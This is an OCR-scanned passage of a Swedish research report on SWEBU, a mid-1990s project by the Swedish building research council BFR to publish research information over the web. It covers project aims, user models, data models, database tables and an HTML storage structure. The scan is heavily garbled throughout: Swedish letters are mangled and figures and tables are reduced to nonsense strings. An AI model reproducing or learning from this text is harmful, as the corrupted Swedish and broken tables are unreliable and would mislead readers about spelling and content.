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Sammanfattning

Rapporten beskriver hur vi i framtiden pa Internet effektivt kan kommunicera
forskningsinformation. Det vixande informationsflodet 1 de globala nédtverken
gor det allt mera nodvéndigt att skapa kunskapsnoder dér sakkunniga viljer ut
och kvalitetsmirker informationen samt forpackar den pa sddant sétt att den
blir litt att tillgodogora sig for de tinkta malgrupperna. I byggsammanhang
bor man Over internet ha tillgéng till forskningsresultat, byggnormer,
produktinformation, erfarenhetsdata fran forvaltning etc., givetvis
innehallande hyperlidnkade referenser till andra kéllor.

Nya mojligheter 6ppnas for anvéndare att via anpassade multimediala
granssnitt kommunicera mot underliggande information. Allt mer av
forskningsresultaten dokumenteras i digital och form blir dirmed mera
tillgdngliga. Samtidigt fordndras forpackning och tillhérande
lagringsstrukturer som en f6ljd av introduktionen av avancerade IT-verktyg,
som bland annat anvéndes for att hantera olika slags kunskapsrepresentationer
1 Internet-milj6 (objekt-, relationsdatabaser, bilder, etc.).

Bestillarkompetensen inom byggomradet maste generellt hojas framover for
att 0ka sannolikheten for kloka och langsiktiga IT investeringar kommer att
ske. Denna rapport utgor en inledning pa ett sadant arbete med bade en
praktisk, exemplet forskningsnod, och en mera teoretisk teknisk del.

Rapporten beskriver projekt SWEBU, BFR nr. 950217-9, dér ett system for att
gora forskningsinformation tillgéinglig 6ver Internet och World Wide Web
designats och en demonstrator framtagits.
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1. Introduktion

Kvantiteten av information som nar oss varje dag okar lavinartat. Vikten av att
kunna filtrera och sortera i informationsflodet okar da i samma takt. Vilken
information som &r bra och anvindbar beror pa vem du ér, var du befinner dig,
hur gammal den ér, vilka som dr dina arbetsuppgifter och inte minst vad som
intresserar dig. Vad som &r anvindbart kan variera fran tillfille till tillfdlle och
fran person till person. I vissa fall dr oversiktlig, kortfattad information av
storsta vikt, i andra fall krdvs mera mangfacetterad information med storre
djup.

Ibland ricker det inte med att man kan na de data som finns lagrade i datanit
virlden over. Ofta behdver man bli guidad ritt 1 utbudet av andra personer
med mer erfarenhet inom ett visst omrade. For att kunna dra ritt slutsatser
fordras ménsklig inverkan. Salunda behover man inte bara soka data, utan
dven personer att samarbeta och diskutera med, for att de data man hittar ska
kunna fa en vettig innebord och bli praktiskt anvindbara.

For att kunna tillgodose dessa skiftande behov, kridvs att man kan skrdddarsy
l6sningar. I den hér rapporten beskriver vi hur en organisation som BFR skulle
kunna tackla dessa problem. I SWEBU, Swedish Building Research on the
World Wide Web, anvinder Byggforskningsradet, BFR, sig av det globala
datornétverket for att publicera och fanga forskningsinformation fran
forskning som &r sponsrad av BFR.

Systemet baseras pa TCP/IP-kommunikation och dr implementerat med hjilp
av WWW-tekniker. Valet av detta system baseras pa att det dr enkelt att
anvinda och administrera, och att det dr oberoende av datorplattform. Vidare
fordelar med ett dylikt system ér att det gor det mojligt att decentralisera
information, sa att den kan lagras och administreras hos den som producerar
informationen. BFR's roll blir dd att skapa ett index over dessa distribuerade
data sa att de blir litt atkomlig for de relevanta malgrupperna. BFR viljer ut
information de anser vara relevant och indexerar den. I sin egenskap av
auktoritet pa byggomradet kvalitetsmérker de genom sitt val informationen.
Detta resulterar i ett enkelt sétt att nd denna information.

I forsta fasen riktar sig systemet 1 forsta hand till forskare och deras behov.
Sedan kommer systemet att vidgas fOr att dven passa grupper som

- studenter,
- byggnadsindustri,
- allménheten.

For att anpassa systemet till sa varierande malgrupper maste nya anvindarmodeller
utformas.
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I denna rapport diskuterar vi hur man modellerar for forskarens behov, och pa
vilka sitt ett vildesignat system kan hjdlpa den enskilde forskaren 1 hans
arbete. Vi har anvint SWEBU som ett exempel pa hur ett informationssystem
kan fungera samt visat vilka verktyg som behovs for att soka och underhélla
information. Vidare diskuteras framtiden och framtida behov inom digital
informationshantering.

Rapporten vinder sig till personer inom byggbranschen som ér involverade 1
att formulera I'T-strategier for uppbyggnad av informationssystem samt
personer med kompetens inom bade bygg och IT. Vissa delar av rapporten &r
ganska tekniska med avsikt att ge inblick 1 systemens mgjligheter och
begrinsningar och de manga IT-begrepp som surrar runt. Detta innebér att
vissa delar kan forbigds av dem som ej behover tringa alltfor djupt in i
problematiken runt systemuppbyggnad och underhall.

Arbetet har bedrivits 1 Projekt BFR nr: 950217-9, 1 samarbete med Jan
Sandelin, Jan Lagerstrom och Britt Olofsdotter pa BFR.

2. Malsittning

Fran ansokan daterad april 1995,

"Modern informationsteknik kan idag anvéndas for att bygga upp system

som gor information lattillgdnglig 6ver hela virlden, med for olika

anvindare anpassade granssnitt mot datorsystemen. Samtidigt kan verktyg

tas fram som forenklar inlédggning och administrativ hantering av

forskningsinformation samt 6kar mgjligheten att presentera heltidckande

information for olika anvéndare.

Projektet syftar till att

- gora forskningsresultat och oversikter 6ver pagaende forskning
tillgéngliga 6ver World Wide Web, WWW, pa Internet (det globala
datornitverket),

- forenkla och effektivisera BFR’s interna arbete med dokumentation av
pagéende och avslutad forskning, samt att

- introducera ett diskussionsforum pa Internet for byggforsknings-
intresserade."

Frén (Christiansson, Engborg, 1995)
"SWEBU skall kunna anpassa sig efter olika anvéndares behov. Foljande
typanvindare definieras;
- forskare,
- utvecklingschef pa foretag,
- utvecklare pa foretag,
- hogskolestudent,
- handldggare pa BFR".
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Efter det att projektet pagatt en tid framkom 6nskemal fran BFR’s sida om att
tid skulle omfordelas mot en bredare modellering av BFR’s interna databaser
med siktet instillt mot att de dven skulle kunna forsorja den externa
forskningsinformationen.

Den fordndrade inriktningen medforde dven att mycket tid lades pa
utredningar om savil som intern som extern sidkerhet. Dvs vem skulle fa gora
vad med informationen internt, och vilken information skulle kunna nas
utifran.

Denna foridndrade inriktning speglas i foreliggande rapport genom viss tyngd
mot systemuppbyggnadsfragor.

3. Resultat

Projektresultat har tidigare redovisats 1 (Christiansson, 1996a), (Christiansson
& Engborg, 1995), (Christiansson, 1995) samt vid foredrag 1 Sverige och
internationellt.

Vidare har SWEBU-projektet redovisats for besokande nationella och
internationella grupper vid KBS-Media Lab.

De viktigaste resultaten 1 punktform listas nedan.

- Tidig 16sning for hur externa anvindare kan soka 1 indexerad
distribuerad forskningsinformation via kunskapsnoden SWEBU.

- Forslag till strukturer for lagring av information om forskningsprojekt.

- Overgripande funktionalitet, modeller och struktur for kunskapsnoden
SWEBU inklusive BFR-extern relevant information.

- Analys och forslag till 16sningar for sékerhet 1 interaktiva webbaserade
informationstjénster.

- Konferensyta baserad pé lokala Newsgrupper (lokal News-server med
diskussionsgrupper).

- Qrafisk (funktionell) design av anvindargrdnssnitt (handldggare och
externanvindare).

- Analys av externa strukturer for forskningsinformation.

- Mall for projektstatusrapporter och rad for lokal upplidggning pa
WWW-servers av projektinformation.

- Modell av BFR’s underhdllsprocesser pa handlaggarniva (ldgga in
projekt, editera projekt, godkinna fore utliggande pa WWW).

- Strukturering och implementering av hemsidor {6r Fuktgruppen i Lund
pa WWW.

- Arbetsytas som stod i utvecklingsarbetet och senare i systemunderhall.

- Tester av Oracle 7-databas med tillhorande utvecklingssystem.
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- Val och konfiguration av servers for WWW och News inklusive
operativsystem och hardvara. (Netscape Enterprise, Netscape News
Server 2.01, Solaris resp Sundator).

- Framtidstrender inom omradet “uppbyggnad av kunskapsnoder®.

4. Analys

4.1 IT SITUATION VID PROJEKTSTART

Byggforskningsradets datornitverk byggde vid projektets start pd PC- och
Novell teknologi. e-mailkommunikation skedde med hjélp av uppringd SLIP-
koppling (Serial Line Internet Protocol) pa behovande system. Hela
organisationen delade en e-mailadress. Se dven (Gunnarsson, 1996) for
oversiktlig beskrivning av Internet och dess funktioner.

Maskinparken bestod som bést av Intel 486DX-processorer med 4MB intern-
minne med en uppringd Internet-forbindelse via 9600 baud-modem kopplat till
en Intel 386 dator.

Det interna databassystemet arbetade 1 DOS-miljo och var uppbyggt i dBase
IV (fran Borland). Ingen on-line forskningsinformation var tillgénglig for
utomstdende. Denna funktion skéttes istdllet via Byggdoks databas BYGGFO.
Informationen i BY GGFO-databasen uppdaterades med uppgifter fran BFR-
systemet PDS, Projektdatabassystem, genom inmatning fran floppy.

4.2 UTVECKLINGSHORISONTEN

IT-utvecklingen har nu tagit fart och nya system och l6sningar skapas hela
tiden, ofta innan behov uppstitt eller ens formulerats..

Vi har en inbyggd motsittning 1 detta att samtidigt hitta snabba IT stodda
16sningar som pa kort sikt 16ser vara behov. Samtidigt som vi vill undvika att
lasa upp oss i oflexibla 16sningar. Detta innebdr att vi maste

- kombinera rutindesign med kreativ design i team besaende av brukare,
IT-specialister, samhillsvetare etc,

- haen helhetssyn och oppenhet vid design av IT-stddda 16sningar,

- ldgga ner mycket arbete pa omvdrldsbevakning for att fanga och
analysera basteknologier som kan forvéntas bli bestdndiga IT-stodda
l6sningar,

- ha omfattande omvdrldsbevakning och analys av samhdillsutveckling
och dess interaktion med IT,

- stréva efter att finna 16sningar vars design kan dteranvdindas dven om
tekniken for implementation foréndras och forbittras.
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Clika grad aor komplesatet och flesdbilitet wid
utarbetande aw solerubiner 1 oliba swstemidatates:
lismingar. En strisan bdr wara vara att gdira
dngsiktig wveckling i generells standardiserade
sprlk).

L |

Generellt sprik

Lingsiktiga losningar:
Eostnad * kom ponentiobjektoreinterade
mjukvanulozningar
= bakdtkompatibls aperativeystem
= standardicerade darabasprotokoll
= grafizka grinssnitt acksh mot
operativsystem
= flexdbla sakerhetszystem

= dymamick expansion i
mjuke-Tdrdvara

[figur SE0710£]

Den znabba Weningen av den lokala extern tllgangliza forskning sdatabasen. Olika
databaslosningar diskuterades samt kopplingen 1l existerande 'Office-paket’ . Om =8

Figur 1

4.3

hehdwa skall det inte wara ndgot problem att 28 fifn Perfect 11l Microsoft
kontorspaket.

Synpunkter pa langsiktiga I6sningar fran Arbetsgruppsmotesprotokoll den
10.7.1996

OMVARLDEN

Det blir allt vanligare idag att kunna nd information via Internet. Redan nu

finns

Networked Computer Science Technical Reports Library, NCSTRL.
Detta dr en internationell samling av tekniska rapporter inom
datalogiomradet fran institutioner och industri- och regeringsstodda
forskningslaboratorier. Dessa rapporter ar tillgidngliga via Internet for
undervisning och andra icke-kommersiella dndamal via ett nédtverk av
servers. Nitverket finansieras av de deltagande institutionerna.
(NCSTRL, 1996).

DESIRE - Development of a European Service for Information on
Research and Education. EU project. (Koch, 1997). "DESIRE syftar till
att skapa informationsstrukturer for den europeiska akademiska
virlden. Man kommer att utveckla verktyg for att béttre stodja
multimedial information, ge béttre indexeringstjdnster och bittre
informationsadministration.

CRIS-SWEDEN, Current Research Information System. En databas
atkomlig fran WWW dir man kan soka information om
forskningsprojekt finansierade av NUTEK (Nirings- och
Teknikutvecklingsverket), NFR (Naturvetenskapliga Forskningsradet)
och TFR (Teknikvetenskapliga forskningsradet). Databashanteraren
Progress anvéndes av systemet.
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ASKen, Automatiska Studiekatalogen. (HSV, 1997).

ASKen dr en databas som innehaller samtliga svenska universitets och
hogskolors utbildningsprogram och kurser med kringinformation.
Respektive universitet och hogskola ansvarar for att den egna studie-
informationen ér tillforlitlig och korrekt.

Merkurius, Lunds Universitets Naringslivsnod, en kunskapsnod dér
kunskap producerad vid Lunds Universitet skall goras tillginglig for
sma och medelstora foretag. (KBS-Media Lab, 1996).

11
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5. SWEBU-bakgrund

51 PROBLEMEN IDAG

De system som finns idag for att sprida forskningsinformation kan goras mera
effektiva med stod av avancerad IT. Pa detta sitt kan manga problem
elimineras eller avsevirt reduceras. Har ges nagra exempel pa sadana
omraden:

- informationen &r svar att na pa ett effektivt sétt i rum och tid for olika
anvindare,

- begrénsat anpassade anvdndargrdnssnitt,

- systemen &r tunga att underhdlla bade vad avser grinssnitt och
innehall,

- ganska begrinsat informationsinnehdll (kan utan storre anstrangning
blir mera fullodigt idag),

- hoga mediekostnader (transport och presentation),

- hoga lagrings- och dupliceringskostnader,

- smd mojligheter att ga utanfor traditionell presentation i text och bild
utan interaktionsmojligheter.

I samband med inforandet av nya IT verktyg uppstér dven nya problem;

- sdakerhetsproblem pa grund av okad av tillgénglighet och flexibilitet,

- ny inhouse-kompetens behdver byggas upp (drift, utveckling,
strukturering, granssnitt), underhallas och stiandigt fornyas pa grund av
den snabba IT-utvecklingen,

- vimaste ldra oss delvis nya sétt att tdnka - fran linjdrt till associativt
(exempelvis en bok blir hypertext),

- nya verktyg kan och bor utvecklas for exempelvis sokning och
interaktion med datorférmedlad information,

- arbetssdtt och organsationsstrukturer kommer att paverkas,

- nya rutiner for kvalitetsmdrkning och kunskapsfiltrering.

52 TIDIGARE ARBETEN

Vi har under tidigare projekt samlat teoretiska och praktiska erfarenheter fran
design och implementering av informationssystem, KUB-projektet (Landin
et.al., 1992), Delphi-projektet (Christiansson, Mansson, Sorhede, 1992). Dessa
omfattar

- design av multimediagrdnssnitt mot anvindarna,

- representation och strukturering av underliggande kunskap,

- kunskap om dynamiska egenskaper for systemen sa att de kan vixa och
underhéllas med specialdesignade verktyg,
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- arbete 1 demonstratormiljé (inkrementell prototyping) tillsammans med
anvindarna,

- kunskap om anviéndarens sok- och navigeringsverktyg.

Det vi ser idag jamfort med de system vi utvecklat under de foregdende 10 &ren &r

att en betydande skalningseffekt intridder pa grund av de snabbt vixande globala
nétverken.

— From a local to a global

. { ‘ Many simultaneus users with
K({ﬁ}g)? ‘ J e different competence and interest.
N a\_é;
T ‘ (\v\ )Z Situated on optional places.
= I v
Rich adapted multimedia
Ié interface_
—
é 'operating system' on different
|_ hardware platforms.
é Much larger knowledge content

which also overlap and
are physically spread.

Figur 2 “Nar vi gar fran enanvéndarsystem till globalt tillgéangliga system uppstar
en hel rad skalningseffekter". Fran (Christiansson, 1996a)

53 ANVANDARMODELLER

Forskarens uppgifter 4r manga och av varierande slag. Bland annat maste han:

- hélla sig ajour med vad andra redan gjort inom forskningsomradet,
- sOka referenser,

- hitta material och utrustning {or experiment,

- hitta finansidrer,

- komma i kontakt med andra personer med liknande problem och frage-
stdllningar,

- formedla sin kunskap till allménhet, nédringsliv och studenter.

For att fa hjélp i dessa uppgifter kan forskaren anvénda systemet pa tva olika
satt:
1. Normalt bruk, systemet kan €] 1 detalj anpassas efter den enskilde
anvidndarens preferenser.
2. Individuellt bruk, man identifierar sig fOr systemet genom att ange sin

anvindaridentitet och ett eventuellt I6senord. Detta for att skydda
systemet mot obehoriga anvindare.

I det forsta fallet dr systemet betydligt lattare att bygga och administrera. Det
ar i detta fallet inte nodvindigt att halla reda pa vilka anvindare som finns i
systemet och man behdver dédrigenom inte skapa rutiner for att ta bort och
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lagga till anvdndare. Man behdver inte heller bygga rutiner och skapa
administration for att ta hand om anvéndare som glomt sin anvindaridentitet
eller 16senord.

Nackdelar med detta dr att man ej har mgjlighet att ge personlig service och
detta begridnsar de tjinster man kan erbjuda den enskilde anviindaren. Man kan
jamfora detta med att ringa Froken Ur for att fa korrekt tid vilket ju dr en
relativt universell uppgift. Alla personliga konfigurationer som gors maste
lagras pa en lokal dator. Detta stéller till problem om mer 4n en person delar
pé en och samma dator med tillhérande mjukvara, speciellt som manga sa
kallade persondatorer 1 sanning &r just persondatorer, utan mojlighet att enkelt
skapa personliga konfigurationer for olika anvéndare.

Ett system med l6senordsidentifierad anvédndare kan utfora tjdnster med mera
komplex dialog, som dr betydligt hardare knuten till anvéndarens person t ex
telefonbanktjéinster.

I ett sadant system dr det mojligt att gora personliga konfigurationer av
systemet, vilka lagras centralt sa att de blir ndbara oberoende av tid och rum.
Nackdelen med denna typ av system, dr att misstdnksamma individer kan
kédnna obehag infor att 1dimna ut sig till systemet. Detta kan vara viktigt att
tinka pa vid design av denna typ av system att ibland kan det ricka med att
man kan sérskilja anvidndare som olika individer. Man behover inte fraga efter
e-mailadress om man inte har for avsikt att bruka den for nagot visst &ndamal.
Naturligtvis sjunker den mgjliga servicenivan om man ej enkelt kan komma i
kontakt med anvéndaren t ex for att meddela tider for planerade driftsavbrott
eller for att upplysa om nya eller forbéttrade tjénster.

5.4 TILLGANGLIGA DATA

Information maste kvalitetsmérkas. Detta betyder att nagon méaste vara
ansvarig for att den information som presenteras &r relevant och korrekt.
Exempel pa sadan information dr

- abstracts - for att snabbt fa veta vad andra forskare lagt tid p4,

- personinformation, telefonnummer, e-mailadresser, curriculum vitae,
projektdeltagande etc,

- referenslitteratur pa projektbasis,

- projektstatus for egna och andras projekt, savil pagaende som
avslutade.
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6. SWEBU, Systembeskrivning

6.1 INLEDANDE KONCEPTUELLA MODELLER
KONCEPTUELL MODELL.
SWEBU
Anvéndare
o Kunskapskonsumenter

Kunskapsforsorjare & Kontaktsokare

- Forskare - Allménheten

- Anslagsbeviljare - Studenter

- Administratorer - Byggindustrin

- Forskare
Grénssnitt

Anpassas efter anvdndaren

- Form
- Funktion
- Innehall
Kunskapsbas Verktyg
Innehéll - Grinssnittskontroll,
- Projektbeskrivning Anvindarmodeller
- Aktivitetsbeskrivning - Kommunikation(E-Mail,
- Projektresultat MIME, WWW)
- BFR'S HEMSIDA - Lagring (Relationsdatabas,
hypertext)

©Per Christiansson, Uno Engborg. 3.95

Figur 3 Konceptuell modell 6ver SWEBU fran (Christiansson, Engborg, 1995).
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DATA- MODELL, SWEBU

Databas Anviandar ..
Projektbeskrivning hml griinssnitt Sokaren
Aktivites status ﬁ for sokning i
Né personer,
beskri Projekt
eskriver 2 - status
. b d S
projektets nggilll(aes%?(zem - beskrivning
ekonomi - resultat
Deltagare
mm Sokfra
http referens Inmatnig
till den reella html
texten ref
Vokabulir i v Rapport text i Uppgifter att dela:
Klassifiserin -Forskare
& h “‘wi Projekt uppgifter -Administratorer
s Personal -Anslagsbeviljare
/ -Ekonomi
* -Nuvarade status.
Fulltextindex
(Glimpse)
>t
av html [
referenseer

Databas over projektresultat.

Kan tinkas finnas antingen hos

BFR och eller lokalt hos producenten.
HTML-format for rapportsammanfattningar.

. Rapport lagras: BFR? Lokalt? Format: HTML?
Firewall RTF? TeX? Forslag - Lagras lokalt med mall for
utseende och lankar frén BFR.

BFR EXTERNT

Relationer mellan bibliotek, Byggdok, Byggtjinst, BFR och forsknings-
institutioner vad betriffar atkomst och lagring?

©Per Christiansson, Uno Engborg 3.1995

Figur 4 Ursprunglig datamodell per april 1995 for SWEBU fran (Christiansson,
Engborg, 1995).
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FYSISK MODELL, SWEBU

Brandmur/Fire wall

WWW - server
hos BFR

Databas

T
hos BER klassifisering

Hos BER Indexering

Hos BFR

©Per Christiansson, Uno Engborg 3.1995

Figur 5 Fysisk modell for SWEBU fran (Christiansson, Engborg, 1995). Det ovala
natverket utgdres av Internet med tillhérande tjanster som World Wide
Web, WWW.

I figur 6 syns en tidig skiss pa ett tankbart anvindargréinssnitt for externa
anviindare och driftspersonal. Onskemél framkom under projektets tidiga
skeden att projektet dven skulle titta pa den BFR-administrerade
forskningsinformationen. Dérfor gjordes en konceptuell modellering av
systemet fOr lagring av forskningsinformation.
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Det som BFR handlaggare ser

B/\FF BFR PROJEKT

Proj. n0.| |

N

Fyll i de fdlt som behovs for
sokning till hoger.

ANDRA.

Tryck pa NYTT PROJEKT eller

| Projekttitel

Project title

Projektledare i egen frame

genererad av
Anslagsmottagafe Oracle
Projektbelopp

Start efter ar

BFR handldggarg

| Forfattare

Valfri

eller referens

text for att beskriva projekt

] [SWEBU homa (Komm)

NYTT
PROJEKT

ANDRA

/

—

nytt projekt ldgges in

Projektnummer:

/

sokresultatet kommer upp i eget fonster.
Endast forsta triffen visas.

Projkettitel

Project title

Projektledare [

Anslagsmottagarg:

Projektbelopp:

Starttd - Sluttid:

BFR-handloggare

OK syns

Projektbeskrivning

publik version

ej 1

N

Projektnummer: [1234 ]

Projkettitel Projekt si och sa |
Project title Project that and thak

Projektledare nnn Nnnnn

Anslagsmottagaresxxx - lab

Projektbelopp: 000000

Starttd - Sluttid: P60101 970101

BFR-handléggare{nn Snnnnn ]

N

Projektbeskrivning. Hir ligger en
projektbeskrivning pa ca 250 ord eller c{
1000 tecken

OK syns ej i
publik version

Projektbeskrivning

Referenser

listadeA dra i
i fullstiindig form|>ndra !
....... eferenslista

Andringar lagras och
mail gar till web utgivare

Figur 6

Referenser listade
i fullstindig form

/

Andringar lagras och
mail gar till web utgivare

Tidig skiss pa anvandargranssnitt mot underliggande pa BFR

administrerad databas 6ver forskningsprojekt.
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6.2 KUNSKAPSNODER

En kunskapsnod (Christiansson, 1996a) kan beskrivas som en
anslutningspunkt till det Dynamiska kunskapsnitet (DKN) dér personer fran
olika kunskapsdoméner (Figur 7) kan motas oberoende av tid och rum. De kan
via noden na information som antingen finns lagrad i sjdlva noden eller som
filtrerats och kvalitetsmérkts av noden. Filtreringen kan ténkas ske antingen
manuellt eller via agenter och artificelll intelligens. .

Industry Researcher
(== = " - "
N
Interface
(multimedia)
K

i Knowledge

The Knowledge Node

- Access and augment knowledge
- Communcation support

©Per Christianssnn. 1996

Figur 7 Kunskapsnoden kan ses som en metabehallare och behérighetskontroll
fér kunskap. (Christiansson, 1996a).

6.3 OVERGRIPANDE SWEBU-MODELL

Med utgangspunkt fran en analys av de befintliga datastrukturerna i PDS,
Projektdata systemet, pa BFR gjorde vi en datamodell for nésta generations
webbaserade system. Den existerande strukturen hade fortjdnster som vi
forsokt ta tillvara.

Inga systematiska intervjuer gjordes med BFR-anstéllda rorande deras erfaren-
heter av anvindning av PDSen. Ingaende diskussioner genomfordes dock med
ett antal nyckelpersoner som 1 stort var ngjda med existerande system. Det
som e] fungerade bra var rutinerna for att gora informationen tillgidnglig for
yttervérlden.
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FREEEEUELIACARE PROJEKTEESKRIVNING
Beskrivning av de personsr - .
sora deltager i projektet E;ssknvnmg av projektets PUBLIK ATIONSIVIEDIUM
ook deras ppgiter. — [ __ | Den firsiska publikationsn
sora pA ndgot sitt Kan
distrib .D iska
GRUPPDELTAGARE distribueras. Den §rsis
[ |Deltagare och uppgifter fo PUEBLIEATION
per;omsr.i grupper dver — PUBLIKATIONSFORNAT
projektniva Publikationens
logiska innehll Publikationens logiska
forra
GRUFPPBESKRIVNING
| | Besirivning av gnppers PERSONREGISTER FORFATTARE
innehdll och uppgifter, Beskrivni e
— ng av De sora producerat
lksora dess naran fyrsiska och juridiska. |— | ———| publikationens
personsr och hur logiska innehdll
roan Kan
TELEFONLISTA koraraunicera raed
dessa PUBLIKATIONSNYCKELORD
Address pd
koraraunikations- || Mrckelord for respeltive
kanal publikation
TELEFONTYFPBESKR NYCKELORDLISTA
Meddelandebehdllare och :
ko kations) ] Ifrckelordsregister.

ENGBORG U., CHRISTIANSSON P., STIERNFELDT F.

De flesta pd BFR ansag till en borjan att det skulle innebéra stora problem att
med bibehallen sdkerhet gora delar av PDS tillgidnglig pa World Wide Web,
WWW. Efter langa diskussioner och utredningar fran var sida enades vi om en
sa kallad brandviggslosning motsvarande virdet av det som skall skyddas
(kostnader for rekonstruktion, forlust av trovérdighet, ordttmétigt utnyttjande

etc.).

64 DATAMODELL FOR SWEBU

Figur 8 Oversiktlig datamodell 6ver lamplig framtida lagringsstruktur fér
forskningsinformation vid BFR.
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Uppdatersd 18.4.96 PC/UE

PROJEKTDELTAGARE
PROJEKTEESKRIVNING
abet i .
pmjelsalﬁrpglm . projor * PUBLIK ATIONSMEDIUNM
SrSOnnY . projtitel
P projtiteleng ——+publny ®
projbelopp aediura
stantid producent
sluttid bestowr
wrwok storlek
Korarastay
GRUFPPDELTAGARE
personnr *
-gppnaran
wbetsuppgifityp PUBLIKATIONSFORIMAT
L1 raediura *
GRUFPEESKRIVNING PUBLIKATION forraat
ublny koraraertar
—gnppnamn ¢ P *
gnupptitel publnaran
bildad projor
ipplost ﬁd‘”’“ FORFATTARE
beskrwming
sprak —— | personnr
abstract publey “
PERSONREGISTER
TELEFONLISTA PUBLIKATIONSNYCKELORD
personny *
® fraran publor ®
personny )
telefortyp ¥ enanMn nyrckelord
telefonuw utdelnaddr
besaddr
postor
ot
TELEFONTYFPBESKR land
ernail NYCKELORDLISTA
telefordyp ® ul
beskrvming pE ayckelord "
bg besknivning

Figur 9 Detaljerad datamodell éver 1amplig framtida lagringsstruktur for
forskningsinformation vid BFR.

Foljande tabeller &r klippta direkt frin SWEBU arbetsyta pa World Wide
Web.

Projektbeskriving - tabell

JSagy |\projtitel |projtiteleng projbelopp [strattid  sluttid  bfrhandl wrwrwok

(BFRn) ((texth  [engelsk) [(kronor)  ((datwmn) (datuom) jainej oklejok

Tahell PROJEE. TBESERIVHING innehdller nppgifter som ar relaterade 1l et apecifikt
projekt. Har ligger alla olika projekt (asren BEFR interna). Projektledare och
anslagamottagare (anslagamottagare &r oftast en juridisk person) ete. projektdeltazare
finns i tabellen PROJEKTDELTAGARE dar aven arbetsuppgifter specas.

Uppdaterad 1996-03-31
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Projektdeltagare - tabell

Tabell PROJEFK.DELTASARE innehfller
alla personer (fwsiska eller juridiska) som
deltar i projektet. Bendmmningaima 8r fasta

ATSETRRNIINER | ARSELT | BT

e i i ach kan fllas pd med noa. Ett projelet kan
anslagsmottagare 900203-2 333 €] ha flera arhetsuppgifter som a5 lika {ex
forskare] 9602032 123 bara en forskarel ).

forskares XX XX

forskared XX XX

hamnd lag gare n¥ xx

enhetschef ¥ Xx

WRANSVaArlY xx XX

Uppdaterad 1995-03-31

Gruppdeltagare - tabell

Tahell GRUTPPDELTAGARE innehiller
uppgifter werm som deltar i olika styrgipper,
refelensg mIpper etc. GrIppr sates

UL ST SRR antonmatiskt eller kan man g6 300m i exemplet
1ill sangter. Personnr pekar pd fwsisk (ev.

i gmppl  zanmankallande  juridisk person exvis walfri
enhetsfinstittionsmedlen) person. Samma
person kan ha flera arbetsuppeifter -
medleimn ek, et

Uppdaterad 193c-03-31

Gruppbeskrivning - tabell

Aamapyremupptitel  bildad upplst beskrisning

it ITatvremupp xx g g

Tabell GRUPFEERERIVHING innehdller nppgifter om olika referensgmpper och
styrgrupper over projekmivy. I SRUPPDELTAGARE anges deltagamas e,
specialfunlktoner som sammankallande och sekreterare.

Uppdaterad 1996-03-31
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Telefonlista - tabell

Aanun fsrierEr elefonne

¥ tall

XX 1alz

¥ tald

XX faxl

¥ modermnl
XX modems

X
XX
X
XX
X
XX

Uppdaterad 199:6-03-31

Tahell TELEFOMLISTA inmehdller uppgifter om
telefonnuruner Ml fwsiska och juridiska {ex . vis.
EBFE vaxel) personer. Hva tvper kan adderas
efterhand .

Publikationsformat - tabell

Aty format
bokl hiaftad
boks inbmd en
broachyrl Ad
broschywis2 A3

)| T30
ChE X

fill Xt RTF
fil= textpostscipt
fil3 et il
fild textPDF
videol PAL

videos HTRC

Uppdaterad 199&-03-

31

Tabell PUBLIFE ATIONEFORMAT
innehiller nppgifter om de olilka
medier som projektresukitat publicerats
. Mo medier kan laggas in

X efterhand som de vppstis.

XX

kormmentar

XX

xx
Maz, PC

xx

Wordformat

xx

il wwrw-3ervers
Adobe Acrobat
xx

T34

23
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Telefontypbeskriving - tabell

Tabell TELEFONTYPEESKRIVHING innehiller

dubifiusiz (beskrivming narmre beskiivning av olika telefontper.
tall tel arbetsplats

tals mobiltelefon

tald hemelefon

TUppdaterad 1996-03-31

Forfattare - tabell

Tahell FORFATTARE innehfller koppling mellan en publikation

PN PIRAIY och alla dess forfattare.

XX XX

Uppdaterad 1996-03-31

Publikationsnyckelord - tabell

Tabell PUELIE ATION SN VCEELCORD innehdller koppling
mellan en publikation och alla dess noackelond . Meckelorden tas
frin HYCE.ELORDALISTA.

Aaidun psiaduy

XX XX

Uppdaterad 1996-03-31

Nyckelordlista - tabell

. re— Tabell MYCKELORDLISTA innehfller beskrivningar av
AAERAUT DESKIIING | ooy 10 T deran kan witkas med attdbut for engelsk

v T derersating och f8rklaring .

TUppdaterad 1996-02-31
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Publikations - tabell

'_,.!?.r.rMu"pub]IlﬁJm 'pmjnr [medivm [udk 'sprak [amatractay 'ahstmmeng [leomumertar

[20 foton

Toa: 3 [(text) 961204-3 'hokz2 xxx |avenska ((text (text) i

Tahell PUBLIE ATION innehfller uppgifter om publikatonens innehd1.
Diztibutonsmedinm och féifattare knortes 1ll i separata tabeller.
Uppdaterad 1995-03-31

Personregister - tabell

| prmanrlfnamn [eroman fodelnadr hesadr [pogte oot land emadl ool [pe e kommentar
[145 [ [ [ e [ [ fexr fee [ oo oo [

Tahell PER30ONREGIATER innehiller uppgifter om namn och addresser 11l fyaiska och
juridizka pesoner.
TUppdaterad 1996-03-31

Nyckelordlista - tabell

Tabell HYCEELORDLISTA
Asdaiuy heskovning | innehfller besldvningar av

nwckelornd . Listan kan utdkas med
xx XX attribut £0r engelsk Sversatning

och férklaring .

Tppdaterad 1996-03-31

Modellen bygger pé foljande grundantaganden.

Alla aktiviteter dr projekt (dvs dven BFR's egna projekt).All verksamhet
har karaktédren av projekt. I databasschemat har vi dock skiljt pa projekt
som dr direkta forskningsprojekt och sadana som inte har denna karaktr t
ex styrgrupper m.m. som har fatt en egen tabell i databasen for att ge
mojlighet till olika administrationsstrategier och sékerhetsnivaer for de
olika tabellerna.

Alla personer hinfors till enda tabell oavsett om de &r fysiska eller
juridiska.
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6.5 FILSTRUKTUR FOR HTML-DOKUMENT 1 SWEBU

swebu
LAGRINGSSTRUKTUR inde
for SWEBU
ile
N\
arbetsyta icons svenska english
inde \ inde
icons
icons rapport motesan- anslags- arkj
PP teckningar| |tavla

Figur 10  Lagringsstruktur féor HTML-dokument i server.

Forutom cgi-script for sokfunktioner bestar SWEBU av en viav av HTML-
dokument inlagda i en samling olika mappar (se figur 10).

I icons-mappen lagras grafiska element som inte innehaller nagon text .(t ex
pilar for navigation) De behdver ddrmed inte Oversédttas om man vill utdka sin
WWW-server med ytterligare frimmande sprak.

Genom att ha parallella mappar for olika sprak blir det ldtt att navigera i
systemet for den som skall underhélla det. (Oftast med en expert pa respektive
sprak).

I strukturen anvénds relativ adressering for att kunna testa systemet lokalt
och/eller flytta hela SWEBU-strukturen till annan plats i pa hardisken utan att
